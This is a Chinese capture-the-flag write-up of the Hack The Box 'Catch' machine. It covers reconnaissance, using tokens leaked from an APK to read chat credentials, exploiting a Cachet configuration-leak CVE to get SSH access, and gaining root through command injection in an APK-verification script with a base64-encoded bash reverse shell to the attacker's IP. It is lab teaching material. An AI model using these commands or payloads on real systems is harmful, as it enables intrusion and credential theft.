信息收集:
端口:
nmap -p- --min-rate 10000 10.10.11.150
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-27 10:23 CST
Warning: 10.10.11.150 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.150
Host is up (0.19s latency).
Not shown: 65528 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
5000/tcp open upnp
8000/tcp open http-alt
12548/tcp filtered unknown
39824/tcp filtered unknown
Nmap done: 1 IP address (1 host up) scanned in 15.10 seconds
80端口
点击download now可以下载apk,我们下载下来进行一下简单的逆向看看。
在mainactivity里可以看到webview加载了一个url:https://status.catch.htb/,然并卵,打不开。翻了一下其他的代码也找不到啥有用的东西了,来直接上mobsf自动分析下这个apk。
在它分析的时候咱们借着这个时间跑一下目录吧:
python3 dirsearch.py -u http://10.10.11.150
[ ] Starting:
[403 - 277B - /.htaccess.bak1 ]
[403 - 277B - /.htaccess.orig ]
[403 - 277B - /.htaccess.sample ]
[403 - 277B - /.htaccess.save ]
[403 - 277B - /.htaccess_extra ]
[403 - 277B - /.htaccess_orig ]
[403 - 277B - /.htaccess_sc ]
[403 - 277B - /.htaccessBAK ]
[403 - 277B - /.htaccessOLD ]
[403 - 277B - /.htm ]
[403 - 277B - /.htaccessOLD2 ]
[403 - 277B - /.html ]
[403 - 277B - /.htpasswd_test ]
[403 - 277B - /.htpasswds ]
[403 - 277B - /.ht_wsr.txt ]
[403 - 277B - /.httr-oauth ]
[403 - 277B - /.php ]
[200 - 6KB - /index.php ]
[200 - 6KB - /index.php/login/ ]
[301 - 317B - /javascript -> http://10.10.11.150/javascript/ ]
[403 - 277B - /server-status ]
[403 - 277B - /server-status/ ]
这个javascript打开也是403,没发现啥可利用的东西,来继续看mobsf分析结果吧。
"gitea_token" : "b87bfb6345ae72ed5ecdcee05bcb34c83806fbd0"
"lets_chat_token" : "NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ=="
"slack_token" : "xoxp-23984754863-2348975623103"
这里泄露了一个不知道有啥用的token,先留着,待会再看看。
3000端口:
发现一个版本号为 1.14.1的Gitea,但是并没找到什么cve可以用。
通过官方文档可以找到gitea的食用姿势:
https://docs.gitea.io/zh-cn/api-usage/
接口地址是http://10.10.11.150:3000/api/swagger
但当我们访问的时候呢,它会显示白屏,如下图所示。
查看源代码可以发现这个页面加载的地址是http://gitea.catch.htb:3000/
然而这个地址正是apk里逆出来的那个地址(只不过子域名不一样),我们是无法正常访问的,那么,就修改一下hosts吧。
vim /etc/hosts
然后就可以正常访问了。
直接拼接接口把token放上去尝试获取信息:
curl -X GET "http://gitea.catch.htb:3000/api/v1/admin/users?page=1&limit=1?token=b87bfb6345ae72ed5ecdcee05bcb34c83806fbd0" -H "accept: application/json"
显示:
{"message":"token is required","url":"http://gitea.catch.htb:3000/api/swagger"}
token应该是过期了或者有别的问题,无奈继续换别的目标。
5000端口:
可以看到又是一个不知道是什么玩意儿的项目,而且还给了github地址,在github的issues里没有找到任何漏洞啊,所以直接跳过这里吧。速度太慢了,背景图都加载不出来。。
8000端口:
又一个不知道是什么东西的系统,点subscribe会显示500。
点dashboard会跳转到auth/login。
这个系统,看介绍感觉又是一个api管理系统,所以我们捋捋思路哈,既然这么多存在api的系统,那么apk泄露的token绝对会有能用得上的。
整理思路:
lets chat有个token,可以读rooms类似于频道,可以读messages类似于短信;
cachet有个CVE-2021-39172,可以rce;
cachet有个CVE-2021-39174,可以信息泄露;
https://blog.sonarsource.com/cachet-code-execution-via-laravel-configuration-injection/
cachet有个CVE-2021-39165,可以sql注入;
https://www.leavesongs.com/PENETRATION/cachet-from-laravel-sqli-to-bug-bounty.html
渗透测试:
lets chat:
在终端输入如下内容设置token:
export token=NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==
再输入如下内容即可查看所有rooms信息:
curl -s http://10.10.11.150:5000/rooms -H "Authorization: Bearer $token"
把json数据格式化一下就好看了:
[{
"id": "61b86b28d984e2451036eb17",
"slug": "status",
"name": "Status",
"description": "Cachet Updates and Maintenance",
"lastActive": "2021-12-14T10:34:20.749Z",
"created": "2021-12-14T10:00:08.384Z",
"owner": "61b86aead984e2451036eb16",
"private": false,
"hasPassword": false,
"participants": []
}, {
"id": "61b8708efe190b466d476bfb",
"slug": "android_dev",
"name": "Android Development",
"description": "Android App Updates, Issues & More",
"lastActive": "2021-12-14T10:24:21.145Z",
"created": "2021-12-14T10:23:10.474Z",
"owner": "61b86aead984e2451036eb16",
"private": false,
"hasPassword": false,
"participants": []
}, {
"id": "61b86b3fd984e2451036eb18",
"slug": "employees",
"name": "Employees",
"description": "New Joinees, Org updates",
"lastActive": "2021-12-14T10:18:04.710Z",
"created": "2021-12-14T10:00:31.043Z",
"owner": "61b86aead984e2451036eb16",
"private": false,
"hasPassword": false,
"participants": []
}]
然后用room的id拼接一下url,继续查room内的message:
curl -s http://10.10.11.150:5000/rooms/61b86b28d984e2451036eb17/messages -H "Authorization: Bearer $token"
我就不贴图了,json格式化后的结果如下:
[{
"id": "61b8732cfe190b466d476c02",
"text": "ah sure!",
"posted": "2021-12-14T10:34:20.749Z",
"owner": "61b86dbdfe190b466d476bf0",
"room": "61b86b28d984e2451036eb17"
}, {
"id": "61b8731ffe190b466d476c01",
"text": "You should actually include this task to your list as well as a part of quarterly audit",
"posted": "2021-12-14T10:34:07.449Z",
"owner": "61b86aead984e2451036eb16",
"room": "61b86b28d984e2451036eb17"
}, {
"id": "61b872b9fe190b466d476c00",
"text": "Also make sure we've our systems, applications and databases up-to-date.",
"posted": "2021-12-14T10:32:25.514Z",
"owner": "61b86dbdfe190b466d476bf0",
"room": "61b86b28d984e2451036eb17"
}, {
"id": "61b87282fe190b466d476bff",
"text": "Excellent! ",
"posted": "2021-12-14T10:31:30.403Z",
"owner": "61b86aead984e2451036eb16",
"room": "61b86b28d984e2451036eb17"
}, {
"id": "61b87277fe190b466d476bfe",
"text": "Why not. We've this in our todo list for next quarter",
"posted": "2021-12-14T10:31:19.094Z",
"owner": "61b86dbdfe190b466d476bf0",
"room": "61b86b28d984e2451036eb17"
}, {
"id": "61b87241fe190b466d476bfd",
"text": "@john is it possible to add SSL to our status domain to make sure everything is secure ? ",
"posted": "2021-12-14T10:30:25.108Z",
"owner": "61b86aead984e2451036eb16",
"room": "61b86b28d984e2451036eb17"
}, {
"id": "61b8702dfe190b466d476bfa",
"text": "Here are the credentials john : E}V!mywu_69T4C}W",
"posted": "2021-12-14T10:21:33.859Z",
"owner": "61b86f15fe190b466d476bf5",
"room": "61b86b28d984e2451036eb17"
}, {
"id": "61b87010fe190b466d476bf9",
"text": "Sure one sec.",
"posted": "2021-12-14T10:21:04.635Z",
"owner": "61b86f15fe190b466d476bf5",
"room": "61b86b28d984e2451036eb17"
}, {
"id": "61b86fb1fe190b466d476bf8",
"text": "Can you create an account for me ? ",
"posted": "2021-12-14T10:19:29.677Z",
"owner": "61b86dbdfe190b466d476bf0",
"room": "61b86b28d984e2451036eb17"
}, {
"id": "61b86f4dfe190b466d476bf6",
"text": "Hey Team! I'll be handling the status.catch.htb from now on. Lemme know if you need anything from me. ",
"posted": "2021-12-14T10:17:49.761Z",
"owner": "61b86f15fe190b466d476bf5",
"room": "61b86b28d984e2451036eb17"
}]
这些聊天记录里泄露了这样两条信息:
@john is it possible to add SSL to our status domain to make sure everything is secure
这个人艾特john让他把 SSL 添加到状态域,并提供给他了一个密码:
Here are the credentials john : E}V!mywu_69T4C}W
,
这个账号按理说应该可以用于登录ssh,但是显示了permission denied,所以我就拿去试了试别的系统。
cachet可以登录成功,恰好CVE-2021-39174这个配置信息泄露漏洞就是登录后食用的。
CVE-2021-39174:
这个漏洞相当有趣,具体原理不赘述了,大家直接看我贴的链接(https://blog.sonarsource.com/cachet-code-execution-via-laravel-configuration-injection/)看就行。
${DB_USERNAME},${DB_PASSWORD},把这两个小玩意儿填进去然后保存。
再重新登录这个系统就可以看到信息泄露出来了,那我们用这个信息尝试登录ssh再试试:
输入密码s2#4Fg0_%3!
登录成功。
接下来的操作把我看蒙了:
[email protected]:~$ whoami
will
[email protected]:~$ ls
pspy64s user.txt
[email protected]:~$ cat user.txt
b4a65a63d76a****
[email protected]:~$
user.txt里这串md5是就是第一个flag了,直接提交即可。
我们现在登录的是catch,所以在某个目录里应该会存在catch这个apk的服务端,直接:
find / -name "*apk"
cd过去:
发现cat不了root.txt的内容,八成就得提权了,害。
uname -a查看了下内核版本号:
Linux catch 5.4.0-104-generic #118-Ubuntu SMP Wed Mar 2 19:02:41 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
没有姿势。
sudo -l看用户有没有能用root运行的命令:
Sorry, user will may not run sudo on catch.
又试了几个提权姿势后全都失败告终,实在没思路了,此时只剩下一个sql注入没用上了,但是sql注入拿到凭证之后不管是登录系统也好还是登录ssh也好,还是会来到will这个用户,也还是需要继续提权。
提权:
僵持了很久之后,在mdm目录下有个verify.sh引起了我的注意,sh本身就是linux的脚本文件,和这个apk放在同一目录下会不会是有啥用呢,难道的运行脚本直接提权?
cat verify.sh看看:
!/bin/bash
###################
Signature Check
###################
sig_check() {
jarsigner -verify "$1/$2" 2>/dev/null >/dev/null
if [[ $? -eq 0 ]]; then
echo '[+] Signature Check Passed'
else
echo '[!] Signature Check Failed. Invalid Certificate.'
cleanup
exit
fi
}
#######################
Compatibility Check
#######################
comp_check() {
apktool d -s "$1/$2" -o $3 2>/dev/null >/dev/null
COMPILE_SDK_VER=$(grep -oPm1 "(?<=compileSdkVersion=")[^"]+" "$PROCESS_BIN/AndroidManifest.xml")
if [ -z "$COMPILE_SDK_VER" ]; then
echo '[!] Failed to find target SDK version.'
cleanup
exit
else
if [ $COMPILE_SDK_VER -lt 18 ]; then
echo "[!] APK Doesn't meet the requirements"
cleanup
exit
fi
fi
}
####################
Basic App Checks
####################
app_check() {
APP_NAME=$(grep -oPm1 "(?<=<string name="app_name">)[^<]+" "$1/res/values/strings.xml")
echo $APP_NAME
if [[ $APP_NAME == "Catch" ]]; then
echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
mv "$3/$APK_NAME" "$2/$APP_NAME/$4"
else
echo "[!] App doesn't belong to Catch Global"
cleanup
exit
fi
}
###########
Cleanup
###########
cleanup() {
rm -rf $PROCESS_BIN;rm -rf "$DROPBOX/" "$IN_FOLDER/";rm -rf $(ls -A /opt/mdm | grep -v apk_bin | grep -v verify.sh)
}
###################
MDM CheckerV1.0
###################
DROPBOX=/opt/mdm/apk_bin
IN_FOLDER=/root/mdm/apk_bin
OUT_FOLDER=/root/mdm/certified_apps
PROCESS_BIN=/root/mdm/process_bin
for IN_APK_NAME in $DROPBOX/*.apk;do
OUT_APK_NAME="$(echo ${IN_APK_NAME##*/} | cut -d '.' -f1)_verified.apk"
APK_NAME="$(openssl rand -hex 12).apk"
if [[ -L "$IN_APK_NAME" ]]; then
exit
else
mv "$IN_APK_NAME" "$IN_FOLDER/$APK_NAME"
fi
sig_check $IN_FOLDER $APK_NAME
comp_check $IN_FOLDER $APK_NAME $PROCESS_BIN
app_check $PROCESS_BIN $OUT_FOLDER $IN_FOLDER $OUT_APK_NAME
done
cleanup
这个脚本调用了sig_check 签名检查,comp_check 兼容性检查,app_check app检查。
重点在于这个app_check,最后cleanup和哪个mdmcheck没啥大用(其实是我读不懂)。
app_check() {
APP_NAME=$(grep -oPm1 "(?<=<string name="app_name">)[^<]+" "$1/res/values/strings.xml")
//app_check函数使用grep从strings.xml提取出"app_name"。
echo $APP_NAME
if [[ $APP_NAME == "Catch" ]]; then
echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
mv "$3/$APK_NAME" "$2/$APP_NAME/$4"
//判断如果app_name中存在"Catch",它就会使用mkdir命令创建一个目录并将apk放进去。
else
echo "[!] App doesn't belong to Catch Global"
cleanup
exit
fi
}
所以我们只需要修改res/values/strings.xml中的app_name,并重新编译个apk放到这个目录下来,就能实现命令注入了,我们可以使用mv去执行。
先使用apktool反编译这个apk:
java -jar apktool_2.6.1.jar d catchv1.0.apk -o test
然后找到res/values/strings.xml,修改其中的app_name:
为了防止数据再传输过程中出问题,我们对反弹shell命令进行base64编码:
echo "/bin/bash -c '/bin/bash -i >&/dev/tcp/10.10.14.19/8848 0>&1'" | base64 L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYvZGV2L3RjcC8xMC4xMC4xNC4xOS84ODQ4IDA+ JjEnCg==
再把Catch修改为:
Catch|echo L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYvZGV2L3RjcC8xMC4xMC4xNC4xOS84ODQ4IDA+JjEnCg==|base64 -d|bash
保存之后,重新生成个apk:
java -jar apktool_2.6.1.jar b -f test/ -o test.apk
然后在test.apk目录下开启个http服务:
python3 -m http.server
在will用户的终端使用wget下载test.apk:
wget http://10.10.14.19/test.apk
本机nc -nlvp 8848开个监听。
移动test.apk到apk_bin目录:
mv test.apk /opt/mdm/apk_bin/
反弹shell成功,直接cat root.txt即可获得flag。
总结:
没啥好总结的,这靶场太能开拓思路了,多种解法最后都要回归到will提权到root上来,其中sql注入的那个方法我没有展示,大家可以自己试试,基本思路就是注入拿到john的凭证再进行后续的一系列操作。
这个verify.sh使用apk的app_name可控函数进行命令注入太骚了。
原文始发于微信公众号(Arr3stY0u):HTB打靶记录:Catch
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论